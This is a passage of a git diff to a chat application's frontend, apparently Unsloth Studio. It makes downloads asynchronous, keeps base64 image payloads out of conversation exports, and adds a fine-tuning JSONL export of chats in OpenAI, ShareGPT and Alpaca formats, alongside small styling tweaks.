+                        void selectProjectImportFile(project.id);
                       }}
                     >
                       <HugeiconsIcon icon={Upload01Icon} strokeWidth={1.75} className="size-icon" />
@@ -506,21 +663,15 @@ export function ProjectsPage() {
                   </DropdownMenuContent>
                 </DropdownMenu>
               </div>
-              <h2 className="mt-4 truncate text-[16px] font-semibold text-foreground">
-                {project.name}
-              </h2>
-              {project.instructions ? (
-                <p className="mt-1.5 line-clamp-2 text-sm leading-relaxed text-muted-foreground">
-                  {project.instructions}
-                </p>
-              ) : null}
-              <span className="mt-auto pt-4 text-xs text-muted-foreground/80">
-                Updated {formatUpdatedAgo(project.updatedAt)}
-              </span>
             </div>
             </div>
-          ))}
+            );
+          })}
+          {/* Loads the next page-step when scrolled into view. */}
+          {hasMore && <div ref={sentinelRef} className="h-px w-full" />}
+          </div>
         </div>
+        </>
       )}
 
       {/* Create project */}
@@ -644,8 +795,8 @@ export function ProjectsPage() {
             <DialogTitle>Delete project</DialogTitle>
           </DialogHeader>
           <p className="text-sm text-muted-foreground">
-            Are you sure you want to delete <em>{deleting?.name}</em>? Chats in this
-            project will be moved back to Recents.
+            Are you sure you want to delete <em>{deleting?.name}</em>? Its chats will
+            be permanently deleted.
           </p>
           <DialogFooter className="flex-wrap gap-2 sm:justify-end">
             <Button type="button" variant="ghost" onClick={() => setDeleting(null)}>
diff --git a/studio/frontend/src/features/chat/prompt-storage/prompt-storage-dialog.tsx b/studio/frontend/src/features/chat/prompt-storage/prompt-storage-dialog.tsx
index ee3a49526f..7295605553 100644
--- a/studio/frontend/src/features/chat/prompt-storage/prompt-storage-dialog.tsx
+++ b/studio/frontend/src/features/chat/prompt-storage/prompt-storage-dialog.tsx
@@ -10,6 +10,8 @@ import {
   DialogHeader,
   DialogTitle,
 } from "@/components/ui/dialog";
+import { downloadFile, isDownloadCancelled } from "@/lib/native-files";
+
 import { cn } from "@/lib/utils";
 import { Search01Icon } from "@hugeicons/core-free-icons";
 import { HugeiconsIcon } from "@hugeicons/react";
@@ -54,6 +56,7 @@ import {
   syncStoredChatMessages,
 } from "../utils/chat-history-storage";
 import { notifyChatHistoryUpdated } from "../api/chat-api";
+import { isMcpImageToolResult } from "../api/chat-adapter";
 import { usePlusMenuPrefsStore } from "../stores/plus-menu-prefs-store";
 import type { ThreadRecord, MessageRecord } from "../types";
 
@@ -69,85 +72,73 @@ function sanitizeFilename(name: string): string {
   return name.replace(/[\\/:*?"<>|]/g, "_").slice(0, 80) || "export";
 }
 
-function downloadBlob(content: string | Blob, filename: string, mimeType: string): void {
-  const blob = content instanceof Blob ? content : new Blob([content], { type: mimeType });
-  const url = URL.createObjectURL(blob);
-  const a = document.createElement("a");
-  a.href = url;
-  a.download = filename;
-  document.body.appendChild(a);
-  a.click();
-  document.body.removeChild(a);
-  URL.revokeObjectURL(url);
+async function downloadBlob(
+  content: string | Blob | Uint8Array,
+  filename: string,
+  mimeType: string,
+): Promise<void> {
+  return downloadFile(content, filename, mimeType);
 }
 
 function csvEscape(val: string): string {
   return `"${val.replace(/"/g, '""')}"`;
 }
 
-function exportPromptJsonl(entry: PromptEntry): void {
-  downloadBlob(
+function exportPromptJsonl(entry: PromptEntry): Promise<void> {
+  return downloadBlob(
     JSON.stringify({ name: entry.name, text: entry.text }),
     `${sanitizeFilename(entry.name)}.jsonl`,
     "application/x-ndjson",
   );
 }
 
-function exportPromptCsv(entry: PromptEntry): void {
-  downloadBlob(
+function exportPromptCsv(entry: PromptEntry): Promise<void> {
+  return downloadBlob(
     `name,text\n${csvEscape(entry.name)},${csvEscape(entry.text)}`,
     `${sanitizeFilename(entry.name)}.csv`,
     "text/csv",
   );
 }
 
-function exportAllPromptsJsonl(entries: PromptEntry[]): void {
+function exportAllPromptsJsonl(entries: PromptEntry[]): Promise<void> {
   const lines = entries.map((e) => JSON.stringify({ name: e.name, text: e.text })).join("\n");
-  downloadBlob(lines, "prompts.jsonl", "application/x-ndjson");
+  return downloadBlob(lines, "prompts.jsonl", "application/x-ndjson");
 }
 
-function exportAllPromptsCsv(entries: PromptEntry[]): void {
+function exportAllPromptsCsv(entries: PromptEntry[]): Promise<void> {
   const rows = entries.map((e) => `${csvEscape(e.name)},${csvEscape(e.text)}`).join("\n");
-  downloadBlob(`name,text\n${rows}`, "prompts.csv", "text/csv");
+  return downloadBlob(`name,text\n${rows}`, "prompts.csv", "text/csv");
 }
 
-function exportListJsonl(entry: PromptListEntry): void {
-  downloadBlob(
+function exportListJsonl(entry: PromptListEntry): Promise<void> {
+  return downloadBlob(
     JSON.stringify({ name: entry.name, items: entry.items }),
     `${sanitizeFilename(entry.name)}.jsonl`,
     "application/x-ndjson",
   );
 }
 
-function exportAllListsJsonl(entries: PromptListEntry[]): void {
+function exportAllListsJsonl(entries: PromptListEntry[]): Promise<void> {
   const lines = entries.map((e) => JSON.stringify({ name: e.name, items: e.items })).join("\n");
-  downloadBlob(lines, "prompt-lists.jsonl", "application/x-ndjson");
+  return downloadBlob(lines, "prompt-lists.jsonl", "application/x-ndjson");
 }
 
-function exportListCsv(entry: PromptListEntry): void {
+function exportListCsv(entry: PromptListEntry): Promise<void> {
   const rows = entry.items
     .map((text, i) => `${csvEscape(entry.name)},${i + 1},${csvEscape(text)}`)
     .join("\n");
-  downloadBlob(
+  return downloadBlob(
     `list_name,order,prompt_text\n${rows}`,
     `${sanitizeFilename(entry.name)}.csv`,
     "text/csv",
   );
 }
 
-function exportAllListsCsv(entries: PromptListEntry[]): void {
+function exportAllListsCsv(entries: PromptListEntry[]): Promise<void> {
   const rows = entries
     .flatMap((e) => e.items.map((text, i) => `${csvEscape(e.name)},${i + 1},${csvEscape(text)}`))
     .join("\n");
-  downloadBlob(`list_name,order,prompt_text\n${rows}`, "prompt-lists.csv", "text/csv");
-}
-
-function exportCollectionJsonl(prompts: PromptEntry[], lists: PromptListEntry[]): void {
-  const lines = [
-    ...prompts.map((e) => JSON.stringify({ type: "prompt", name: e.name, text: e.text })),
-    ...lists.map((e) => JSON.stringify({ type: "prompt_list", name: e.name, items: e.items })),
-  ].join("\n");
-  downloadBlob(lines, "prompt-collection.jsonl", "application/x-ndjson");
+  return downloadBlob(`list_name,order,prompt_text\n${rows}`, "prompt-lists.csv", "text/csv");
 }
 
 function contentBlocksToText(content: unknown): string {
@@ -170,11 +161,14 @@ function contentBlocksToText(content: unknown): string {
           parts.push("[thinking]\n" + thinkText + "\n[/thinking]");
         }
       } else if (p.type === "tool-call") {
+        // Keep base64 image payloads out of every export format: use the
+        // model-visible text for MCP image results (matches chat replay).
+        const result = isMcpImageToolResult(p.result) ? p.result.text : p.result;
         parts.push(
           JSON.stringify({
             tool_call: p.toolName,
             args: p.args,
-            result: p.result,
+            result,
           }),
         );
       } else if (p.type === "image") {
@@ -190,7 +184,16 @@ function contentBlocksToText(content: unknown): string {
 // predate the user's next message); the parent chain is timestamp-independent.
 type _Msg = { id: string; parentId?: string | null; createdAt?: number };
 
-function orderByParentChain<T extends _Msg>(messages: T[]): T[] {
+function orderByParentChain<T extends _Msg>(
+  messages: T[],
+  options: {
+    /** Append messages off the selected chain (abandoned branches) at the
+     *  end. Full exports keep everything; fine-tune conversion must not,
+     *  since alternate replies would merge into one conversation. */
+    includeSiblings?: boolean;
+  } = {},
+): T[] {
+  const { includeSiblings = true } = options;
   const byId = new Map<string, T>(messages.map((m) => [m.id, m]));
   const childrenOf = new Map<string | null, T[]>();
   for (const m of messages) {
@@ -211,7 +214,9 @@ function orderByParentChain<T extends _Msg>(messages: T[]): T[] {
     byId.delete(next.id);
   }
 
-  for (const [, m] of byId) result.push(m);
+  if (includeSiblings) {
+    for (const [, m] of byId) result.push(m);
+  }
   return result;
 }
 
@@ -299,7 +304,15 @@ function messageToOpenAI(msg: { role: unknown; content: unknown; attachments?: u
         const argsStr = p.args != null ? JSON.stringify(p.args) : (typeof p.argsText === "string" ? p.argsText : "{}");
         toolCalls.push({ id, type: "function", function: { name, arguments: argsStr } });
         if (p.result !== undefined && p.result !== null) {
-          const resultStr = typeof p.result === "string" ? p.result : JSON.stringify(p.result);
+          // Keep base64 image payloads out of exports: MCP image results carry
+          // their model-visible text alongside the data, so serialize the text
+          // (matching chat replay) instead of the full object.
+          const resultStr =
+            typeof p.result === "string"
+              ? p.result
+              : isMcpImageToolResult(p.result)
+                ? p.result.text
+                : JSON.stringify(p.result);
           toolResults.push({ role: "tool", tool_call_id: id, name, content: resultStr });
         }
       }
@@ -348,7 +361,7 @@ export async function exportConversationShareGPT(threadId: string): Promise<void
   }
 
   if (conversations.length === 0) { toast.info("No exportable content."); return; }
-  downloadBlob(
+  await downloadBlob(
     JSON.stringify({ conversations }),
     "conversation-" + exportTs() + ".jsonl",
     "application/x-ndjson",
@@ -363,7 +376,7 @@ export async function exportConversationRawJsonl(threadId: string): Promise<void
 
   const oaiMsgs: OAIMessage[] = messages.flatMap((msg) => messageToOpenAI(msg));
   if (oaiMsgs.length === 0) { toast.info("No exportable content."); return; }
-  downloadBlob(
+  await downloadBlob(
     JSON.stringify({ messages: oaiMsgs }),
     "conversation-" + exportTs() + ".jsonl",
     "application/x-ndjson",
@@ -382,7 +395,11 @@ export async function exportConversationCsv(threadId: string): Promise<void> {
   }
 
   if (rows.length <= 1) { toast.info("No exportable content."); return; }
-  downloadBlob(rows.join("\n"), "conversation-" + exportTs() + ".csv", "text/csv");
+  await downloadBlob(
+    rows.join("\n"),
+    "conversation-" + exportTs() + ".csv",
+    "text/csv",
+  );
 }
 
 export type ConvExportFormat = "jsonl-raw" | "csv" | "sharegpt";
@@ -464,7 +481,11 @@ export async function exportBulkConversationsMerged(
     ? header + "\n" + parts.join("\n")
     : parts.join("\n");
 
-  downloadBlob(body, `${basename}.${exportExt(format)}`, exportMime(format));
+  await downloadBlob(
+    body,
+    `${basename}.${exportExt(format)}`,
+    exportMime(format),
+  );
 }
 
 export async function exportBulkConversationsSeparate(
@@ -489,11 +510,7 @@ export async function exportBulkConversationsSeparate(
   if (Object.keys(files).length === 0) { toast.info("No exportable content."); return; }
 
   const zipped = zipSync(files);
-  downloadBlob(
-    new Blob([zipped], { type: "application/zip" }),
-    `${basename}.zip`,
-    "application/zip",
-  );
+  await downloadBlob(zipped, `${basename}.zip`, "application/zip");
 }
 
 // Scope-level bulk export shared by the sidebar Recents menu and
@@ -521,8 +538,10 @@ export async function bulkExportConversationsByScope(
     } else {
       await exportBulkConversationsSeparate(ids, format, basename);
     }
-  } catch {
-    toast.error("Export failed.");
+  } catch (error) {
+    if (!isDownloadCancelled(error)) {
+      toast.error("Export failed.");
+    }
   }
 }
 
@@ -539,6 +558,214 @@ export async function exportProjectConversations(
   );
 }
 
+// ── Fine-tuning export ─────────────────────────────────────────────────────
+// One JSONL line per conversation: {"messages": [{"role", "content"}]} with
+// string-only content in system/user/assistant turns. Unsloth's training tab
+// detects this as ChatML natively (no column mapping, no standardization) and
+// it works with train-on-completions masking, which only trains on assistant
+// turns. Reasoning, tool calls, and images are dropped: clean SFT targets.
+
+export type FineTuneMessage = {
+  role: "system" | "user" | "assistant";
+  content: string;
+};
+
+const FINE_TUNE_ROLES = new Set(["system", "user", "assistant"]);
+
+/** Plain text of a message: text blocks plus text-type attachment parts. */
+function messageToPlainText(msg: {
+  content: unknown;
+  attachments?: unknown;
+}): string {
+  const parts: string[] = [];
+  const collect = (blocks: unknown) => {
+    // Legacy and imported histories can store content as a plain string.
+    if (typeof blocks === "string") {
+      if (blocks.trim()) parts.push(blocks);
+      return;
+    }
+    if (!Array.isArray(blocks)) return;
+    for (const b of blocks) {
+      if (!b || typeof b !== "object") {
+        continue;
+      }
+      const block = b as Record<string, unknown>;
+      if (block.type === "text" && typeof block.text === "string" && block.text) {
+        parts.push(block.text);
+      }
+    }
+  };
+  collect(msg.content);
+  if (Array.isArray(msg.attachments)) {
+    for (const attachment of msg.attachments as Array<{ content?: unknown }>) {
+      collect(attachment?.content);
+    }
+  }
+  return parts.join("\n\n").trim();
+}
+
+/** Merge consecutive same-role turns so chat templates format cleanly. */
+function mergeSameRoleTurns(turns: FineTuneMessage[]): FineTuneMessage[] {
+  const merged: FineTuneMessage[] = [];
+  for (const turn of turns) {
+    const last = merged[merged.length - 1];
+    if (last && last.role === turn.role) {
+      last.content += `\n\n${turn.content}`;
+    } else {
+      merged.push({ ...turn });
+    }
+  }
+  return merged;
+}
+
+/** Conversation turns for fine-tuning, or null when the thread has no
+ *  usable user + assistant exchange. Consecutive same-role turns merge,
+ *  assistant turns before the first user turn drop (an assistant target
+ *  with no prompt teaches nothing), and trailing non-assistant turns drop
+ *  so chat templates format cleanly. */
+function messagesToFineTuneTurns(
+  messages: Array<{ role: unknown; content: unknown; attachments?: unknown }>,
+): FineTuneMessage[] | null {
+  const raw: FineTuneMessage[] = [];
+  for (const msg of messages) {
+    const role = msg.role as FineTuneMessage["role"];
+    if (!FINE_TUNE_ROLES.has(role)) continue;
+    const content = messageToPlainText(msg);
+    if (!content) continue;
+    raw.push({ role, content });
+  }
+  const firstUser = raw.findIndex((t) => t.role === "user");
+  if (firstUser === -1) return null;
+  const turns = mergeSameRoleTurns(
+    raw.filter((t, i) => i >= firstUser || t.role === "system"),
+  );
+  while (turns.length > 0 && turns[turns.length - 1].role !== "assistant") {
+    turns.pop();
+  }
+  const hasUser = turns.some((t) => t.role === "user");
+  const hasAssistant = turns.some((t) => t.role === "assistant");
+  return hasUser && hasAssistant ? turns : null;
+}
+
+export type FineTuneExportResult = {
+  lines: string[];
+  conversations: number;
+  skipped: number;
+};
+
+/** Dataset shapes the Train tab detects without column mapping. */
+export type FineTuneFormat = "openai" | "sharegpt" | "alpaca";
+
+const SHAREGPT_FROM: Record<FineTuneMessage["role"], string> = {
+  system: "system",
+  user: "human",
+  assistant: "gpt",
+};
+
+/** JSONL lines for one conversation in the chosen format. Alpaca is
+ *  single-turn, so each user to assistant pair becomes its own record with
+ *  the system prompt and earlier exchange carried in the input field. */
+function turnsToFineTuneLines(
+  turns: FineTuneMessage[],
+  format: FineTuneFormat,
+): string[] {
+  if (format === "sharegpt") {
+    return [
+      JSON.stringify({
+        conversations: turns.map((t) => ({
+          from: SHAREGPT_FROM[t.role],
+          value: t.content,
+        })),
+      }),
+    ];
+  }
+  if (format === "alpaca") {
+    const lines: string[] = [];
+    const context: string[] = [];
+    let system = "";
+    let pendingUser: string | null = null;
+    for (const t of turns) {
+      if (t.role === "system") {
+        system = system ? `${system}\n\n${t.content}` : t.content;
+        continue;
+      }
+      if (t.role === "user") {
+        pendingUser = t.content;
+        continue;
+      }
+      if (pendingUser === null) continue;
+      const inputParts = [];
+      if (system) inputParts.push(system);
+      if (context.length > 0) inputParts.push(context.join("\n"));
+      lines.push(
+        JSON.stringify({
+          instruction: pendingUser,
+          input: inputParts.join("\n\n"),
+          output: t.content,
+        }),
+      );
+      context.push(`User: ${pendingUser}`, `Assistant: ${t.content}`);
+      pendingUser = null;
+    }
+    return lines;
+  }
+  return [JSON.stringify({ messages: turns })];
+}
+
+/** Every non-archived chat (Recents and Projects) as training-ready JSONL. */
+export async function buildFineTuneJsonl(
+  format: FineTuneFormat = "openai",
+): Promise<FineTuneExportResult> {
+  const threads = await listStoredChatThreads({ includeArchived: false });
+  const ids = [...new Set(threads.map((t) => t.id))];
+  const lines: string[] = [];
+  let conversations = 0;
+  let skipped = 0;
+  for (const id of ids) {
+    const raw = await listStoredChatMessages(id);
+    const hasParentIds = raw.some(
+      (m) => (m as { parentId?: unknown }).parentId != null,
+    );
+    // Chain only: retries/regenerations leave sibling branches, and mixing
+    // alternate replies into one conversation corrupts the training targets.
+    const ordered = hasParentIds
+      ? (orderByParentChain(raw, { includeSiblings: false }) as typeof raw)
+      : raw;
+    const turns = messagesToFineTuneTurns(ordered);
+    const converted = turns ? turnsToFineTuneLines(turns, format) : [];
+    if (converted.length === 0) {
+      skipped += 1;
+      continue;
+    }
+    conversations += 1;
+    lines.push(...converted);
+  }
+  return { lines, conversations, skipped };
+}
+
+/** Download the fine-tuning JSONL; returns the conversation count. */
+export async function exportFineTuneJsonl(
+  format: FineTuneFormat = "openai",
+): Promise<number> {
+  const { lines, conversations, skipped } = await buildFineTuneJsonl(format);
+  if (conversations === 0) {
+    toast.info("No chats with a user and assistant exchange to export.");
+    return 0;
+  }
+  const suffix = format === "openai" ? "" : `-${format}`;
+  await downloadBlob(
+    lines.join("\n"),
+    `chat-finetune${suffix}-${exportTs()}.jsonl`,
+    "application/x-ndjson",
+  );
+  if (skipped > 0) {
+    toast.success(
+      `Exported ${conversations} conversation${conversations === 1 ? "" : "s"} (${skipped} without a full exchange skipped).`,
+    );
+  }
+  return conversations;
+}
+
 // role:"tool" results are absorbed into the preceding assistant tool-call
 // part's `result` field rather than becoming separate records.
 function oaiMessagesToRecords(
@@ -769,21 +996,21 @@ export async function importConversationsFromFile(
 
 // ShareGPT training exports: prompt → one record (human turn + empty gpt slot);
 // list → one multi-turn record, each item a human turn.
-function exportPromptTrainingJsonl(entry: PromptEntry): void {
+function exportPromptTrainingJsonl(entry: PromptEntry): Promise<void> {
   const record = {
     conversations: [
       { from: "human", value: entry.text },
       { from: "gpt", value: "" },
     ],
   };
-  downloadBlob(
+  return downloadBlob(
     JSON.stringify(record),
     `${sanitizeFilename(entry.name)}-training.jsonl`,
     "application/x-ndjson",
   );
 }
 
-function exportPromptsTrainingJsonl(entries: PromptEntry[]): void {
+function exportPromptsTrainingJsonl(entries: PromptEntry[]): Promise<void> {
   const lines = entries
     .map((e) =>
       JSON.stringify({
@@ -794,22 +1021,22 @@ function exportPromptsTrainingJsonl(entries: PromptEntry[]): void {
       }),
     )
     .join("\n");
-  downloadBlob(lines, "prompts-training.jsonl", "application/x-ndjson");
+  return downloadBlob(lines, "prompts-training.jsonl", "application/x-ndjson");
 }
 
-function exportListTrainingJsonl(entry: PromptListEntry): void {
+function exportListTrainingJsonl(entry: PromptListEntry): Promise<void> {
   const conversations = entry.items.flatMap((text) => [
     { from: "human", value: text },
     { from: "gpt", value: "" },
   ]);
-  downloadBlob(
+  return downloadBlob(
     JSON.stringify({ conversations }),
     `${sanitizeFilename(entry.name)}-training.jsonl`,
     "application/x-ndjson",
   );
 }
 
-function exportListsTrainingJsonl(entries: PromptListEntry[]): void {
+function exportListsTrainingJsonl(entries: PromptListEntry[]): Promise<void> {
   const lines = entries
     .map((e) => {
       const conversations = e.items.flatMap((text) => [
@@ -819,7 +1046,7 @@ function exportListsTrainingJsonl(entries: PromptListEntry[]): void {
       return JSON.stringify({ conversations });
     })
     .join("\n");
-  downloadBlob(lines, "prompt-lists-training.jsonl", "application/x-ndjson");
+  return downloadBlob(lines, "prompt-lists-training.jsonl", "application/x-ndjson");
 }
 
 // RFC 4180 CSV parser: handles quoted fields with embedded newlines/commas.
@@ -1045,38 +1272,44 @@ function ExportModal({
     if (!csvAvailable) setFormat("jsonl");
   }, [csvAvailable]);
 
-  const handleExport = useCallback(() => {
-    if (ctx.kind === "prompt") {
-      if (scope === "training") exportPromptTrainingJsonl(ctx.entry);
-      else if (format === "csv") exportPromptCsv(ctx.entry);
-      else exportPromptJsonl(ctx.entry);
-    } else if (ctx.kind === "list") {
-      if (scope === "training") exportListTrainingJsonl(ctx.entry);
-      else if (format === "csv") exportListCsv(ctx.entry);
-      else exportListJsonl(ctx.entry);
-    } else {
-      const { tab, prompts, lists } = ctx;
-      if (scope === "training") {
-        if (tab === "prompts") {
-          if (prompts.length === 0) { toast.info("No prompts to export"); return; }
-          exportPromptsTrainingJsonl(prompts);
-        } else {
-          if (lists.length === 0) { toast.info("No prompt lists to export"); return; }
-          exportListsTrainingJsonl(lists);
-        }
+  const handleExport = useCallback(async () => {
+    try {
+      if (ctx.kind === "prompt") {
+        if (scope === "training") await exportPromptTrainingJsonl(ctx.entry);
+        else if (format === "csv") await exportPromptCsv(ctx.entry);
+        else await exportPromptJsonl(ctx.entry);
+      } else if (ctx.kind === "list") {
+        if (scope === "training") await exportListTrainingJsonl(ctx.entry);
+        else if (format === "csv") await exportListCsv(ctx.entry);
+        else await exportListJsonl(ctx.entry);
       } else {
-        if (tab === "prompts") {
+        const { tab, prompts, lists } = ctx;
+        if (scope === "training") {
+          if (tab === "prompts") {
+            if (prompts.length === 0) { toast.info("No prompts to export"); return; }
+            await exportPromptsTrainingJsonl(prompts);
+          } else {
+            if (lists.length === 0) { toast.info("No prompt lists to export"); return; }
+            await exportListsTrainingJsonl(lists);
+          }
+        } else if (tab === "prompts") {
           if (prompts.length === 0) { toast.info("No prompts to export"); return; }
-          if (format === "csv") exportAllPromptsCsv(prompts);
-          else exportAllPromptsJsonl(prompts);
+          if (format === "csv") await exportAllPromptsCsv(prompts);
+          else await exportAllPromptsJsonl(prompts);
         } else {
           if (lists.length === 0) { toast.info("No prompt lists to export"); return; }
-          if (format === "csv") exportAllListsCsv(lists);
-          else exportAllListsJsonl(lists);
+          if (format === "csv") await exportAllListsCsv(lists);
+          else await exportAllListsJsonl(lists);
         }
       }
+      onClose();
+    } catch (error) {
+      if (!isDownloadCancelled(error)) {
+        toast.error("Could not save export.", {
+          description: error instanceof Error ? error.message : String(error),
+        });
+      }
     }
-    onClose();
   }, [ctx, scope, format, onClose]);
 
   const singleLabel =
@@ -1108,7 +1341,7 @@ function ExportModal({
 
           {/* */}
           <div className="flex flex-col gap-2">
-            <p className="text-[11px] font-semibold uppercase tracking-wider text-muted-foreground/60">
+            <p className="text-ui-11 font-semibold uppercase tracking-wider text-muted-foreground/60">
               Export as
             </p>
             <div className="flex flex-col gap-2">
@@ -1117,7 +1350,7 @@ function ExportModal({
                 className={cn(
                   "flex w-full cursor-pointer items-center gap-3 rounded-lg border px-4 py-3 transition-all",
                   scope === "single"
-                    ? "border-primary/40 bg-primary/5 ring-1 ring-primary/20"
+                    ? "border-ring-strong bg-primary/5"
                     : "border-border/60 hover:border-border hover:bg-muted/30",
                 )}
               >
@@ -1140,7 +1373,7 @@ function ExportModal({
                 className={cn(
                   "flex w-full cursor-pointer items-start gap-3 rounded-lg border px-4 py-3 transition-all",
                   scope === "training"
-                    ? "border-primary/40 bg-primary/5 ring-1 ring-primary/20"
+                    ? "border-ring-strong bg-primary/5"
                     : "border-border/60 hover:border-border hover:bg-muted/30",
                 )}
               >
@@ -1157,7 +1390,7 @@ function ExportModal({
                   <p className="mt-1 text-xs text-muted-foreground">
                     ShareGPT format for Unsloth fine-tuning
                   </p>
-                  <code className="mt-2 block w-full truncate rounded-md bg-muted px-2 py-1 font-mono text-[10px] text-muted-foreground/60">
+                  <code className="mt-2 block w-full truncate rounded-md bg-muted px-2 py-1 font-mono text-ui-10 text-muted-foreground/60">
                     {`{"conversations":[{"from":"human","value":"..."},{"from":"gpt","value":""}]}`}
                   </code>
                 </div>
@@ -1167,7 +1400,7 @@ function ExportModal({
 
           {/* */}
           <div className="flex flex-col gap-2">
-            <p className="text-[11px] font-semibold uppercase tracking-wider text-muted-foreground/60">
+            <p className="text-ui-11 font-semibold uppercase tracking-wider text-muted-foreground/60">
               Format
             </p>
             <div className="flex items-center gap-1 self-start rounded-lg bg-muted/60 p-1">
@@ -1262,14 +1495,14 @@ function PromptCard({
           value={name}
           onChange={(e) => setName(e.target.value)}
           placeholder="Prompt name..."
-          className="w-full rounded-lg border-0 bg-background/80 px-3 py-2 text-sm ring-1 ring-border/60 outline-none focus:ring-primary/50 transition-shadow"
+          className="w-full rounded-lg border-0 bg-background/80 px-3 py-2 text-sm ring-1 ring-border/60 outline-none focus:ring-ring transition-shadow"
         />
         <textarea
           value={text}
           onChange={(e) => setText(e.target.value)}
           rows={4}
           placeholder="Prompt text..."
-          className="w-full resize-y rounded-lg border-0 bg-background/80 px-3 py-2 text-sm ring-1 ring-border/60 outline-none focus:ring-primary/50 transition-shadow leading-relaxed"
+          className="w-full resize-y rounded-lg border-0 bg-background/80 px-3 py-2 text-sm ring-1 ring-border/60 outline-none focus:ring-ring transition-shadow leading-relaxed"
         />
         <div className="flex gap-2 justify-end">
           <Button size="sm" variant="ghost" onClick={() => { setName(entry.name); setText(entry.text); setEditing(false); }}>
@@ -1373,14 +1606,14 @@ function NewPromptForm({ onClose, onRefresh }: { onClose: () => void; onRefresh:
         onChange={(e) => setName(e.target.value)}
         placeholder="Prompt name (optional)..."
         autoFocus
-        className="w-full rounded-lg border-0 bg-background/80 px-3 py-2 text-sm ring-1 ring-border/60 outline-none focus:ring-primary/50 transition-shadow"
+        className="w-full rounded-lg border-0 bg-background/80 px-3 py-2 text-sm ring-1 ring-border/60 outline-none focus:ring-ring transition-shadow"
       />
       <textarea
         value={text}
         onChange={(e) => setText(e.target.value)}
         rows={4}
         placeholder="Write your prompt here..."
-        className="w-full resize-y rounded-lg border-0 bg-background/80 px-3 py-2 text-sm ring-1 ring-border/60 outline-none focus:ring-primary/50 transition-shadow leading-relaxed"
+        className="w-full resize-y rounded-lg border-0 bg-background/80 px-3 py-2 text-sm ring-1 ring-border/60 outline-none focus:ring-ring transition-shadow leading-relaxed"
       />
       <div className="flex gap-2 justify-end">
         <Button size="sm" variant="ghost" onClick={onClose}>
@@ -1440,7 +1673,7 @@ function PromptListCard({
           value={name}
           onChange={(e) => setName(e.target.value)}
           placeholder="List name..."
-          className="w-full rounded-lg border-0 bg-background/80 px-3 py-2 text-sm ring-1 ring-border/60 outline-none focus:ring-primary/50 transition-shadow"
+          className="w-full rounded-lg border-0 bg-background/80 px-3 py-2 text-sm ring-1 ring-border/60 outline-none focus:ring-ring transition-shadow"
         />
         <p className="text-xs font-semibold text-muted-foreground">Prompts (sent in order)</p>
         <div className="flex flex-col gap-2">
@@ -1453,7 +1686,7 @@ function PromptListCard({
                 onChange={(e) => updateItem(i, e.target.value)}
                 rows={2}
                 placeholder={`Prompt ${i + 1}...`}
-                className="flex-1 resize-y rounded-lg border-0 bg-background/80 px-3 py-2 text-sm ring-1 ring-border/60 outline-none focus:ring-primary/50 transition-shadow leading-relaxed"
+                className="flex-1 resize-y rounded-lg border-0 bg-background/80 px-3 py-2 text-sm ring-1 ring-border/60 outline-none focus:ring-ring transition-shadow leading-relaxed"
               />
               <button
                 type="button"
@@ -1497,7 +1730,7 @@ function PromptListCard({
     <div className="group rounded-xl border border-border/60 bg-card p-4 flex flex-col gap-2.5 hover:border-border hover:shadow-sm transition-all">
       <div className="flex items-center gap-2">
         <span className="font-semibold text-sm flex-1 truncate tracking-tight">{entry.name}</span>
-        <span className="shrink-0 rounded-full bg-muted px-2 py-0.5 text-[11px] font-medium text-muted-foreground">
+        <span className="shrink-0 rounded-full bg-muted px-2 py-0.5 text-ui-11 font-medium text-muted-foreground">
           {entry.items.length}
         </span>
         <div className="flex items-center gap-0.5 opacity-0 group-hover:opacity-100 transition-opacity">
@@ -1546,7 +1779,7 @@ function PromptListCard({
           </p>
         ))}
         {entry.items.length > 3 && (
-          <p className="text-[11px] text-muted-foreground/50 ml-5">
+          <p className="text-ui-11 text-muted-foreground/50 ml-5">
             +{entry.items.length - 3} more
           </p>
         )}
@@ -1593,7 +1826,7 @@ function NewPromptListForm({ onClose, onRefresh }: { onClose: () => void; onRefr
         onChange={(e) => setName(e.target.value)}
         placeholder="List name..."
         autoFocus
-        className="w-full rounded-lg border-0 bg-background/80 px-3 py-2 text-sm ring-1 ring-border/60 outline-none focus:ring-primary/50 transition-shadow"
+        className="w-full rounded-lg border-0 bg-background/80 px-3 py-2 text-sm ring-1 ring-border/60 outline-none focus:ring-ring transition-shadow"
       />
       <p className="text-xs font-semibold text-muted-foreground">
         Prompts — loaded into the composer one at a time
@@ -1607,7 +1840,7 @@ function NewPromptListForm({ onClose, onRefresh }: { onClose: () => void; onRefr
               onChange={(e) => updateItem(i, e.target.value)}
               rows={2}
               placeholder={`Prompt ${i + 1}...`}
-              className="flex-1 resize-y rounded-lg border-0 bg-background/80 px-3 py-2 text-sm ring-1 ring-border/60 outline-none focus:ring-primary/50 transition-shadow leading-relaxed"
+              className="flex-1 resize-y rounded-lg border-0 bg-background/80 px-3 py-2 text-sm ring-1 ring-border/60 outline-none focus:ring-ring transition-shadow leading-relaxed"
             />
             <button
               type="button"
@@ -1887,7 +2120,7 @@ export function PromptStorageDialog({
                 onFocus={() => setShowSuggestions(true)}
                 onBlur={() => setTimeout(() => setShowSuggestions(false), 150)}
                 placeholder={`Search ${activeTab === "prompts" ? "prompts by name or text" : "prompt lists by name"}…`}
-                className="w-full rounded-lg border-0 bg-muted/50 pl-9 pr-3 py-2 text-sm outline-none focus:ring-1 focus:ring-primary/50 placeholder:text-muted-foreground/60 transition-shadow"
+                className="w-full rounded-lg border-0 bg-muted/50 pl-9 pr-3 py-2 text-sm outline-none focus:ring-1 focus:ring-ring placeholder:text-muted-foreground/60 transition-shadow"
               />
               {showSuggestions && searchQuery.trim() !== "" && suggestions.length > 0 && (
                 <div className="absolute top-full left-0 right-0 z-50 mt-1 rounded-xl border border-border/60 bg-popover shadow-lg overflow-hidden">
diff --git a/studio/frontend/src/features/chat/provider-capabilities.ts b/studio/frontend/src/features/chat/provider-capabilities.ts
index 79c9a3205c..ec251cdada 100644
--- a/studio/frontend/src/features/chat/provider-capabilities.ts
+++ b/studio/frontend/src/features/chat/provider-capabilities.ts
@@ -409,7 +409,7 @@ function isGeminiImageModel(modelId: string): boolean {
  * Whether the saved Gemini connection points at a custom OpenAI-compat gateway
  * (any non-Google host). The backend `_is_openai_compatible` routes these
  * through `/chat/completions` instead of the native translator, so native Gemini
- * tool envelopes never reach them. Hide the matching Studio pills here so the
+ * tool envelopes never reach them. Hide the matching Unsloth pills here so the
  * request, builder, and UI agree.
  */
 export function isGeminiCustomOpenAICompatBase(
diff --git a/studio/frontend/src/features/chat/runtime-provider.tsx b/studio/frontend/src/features/chat/runtime-provider.tsx
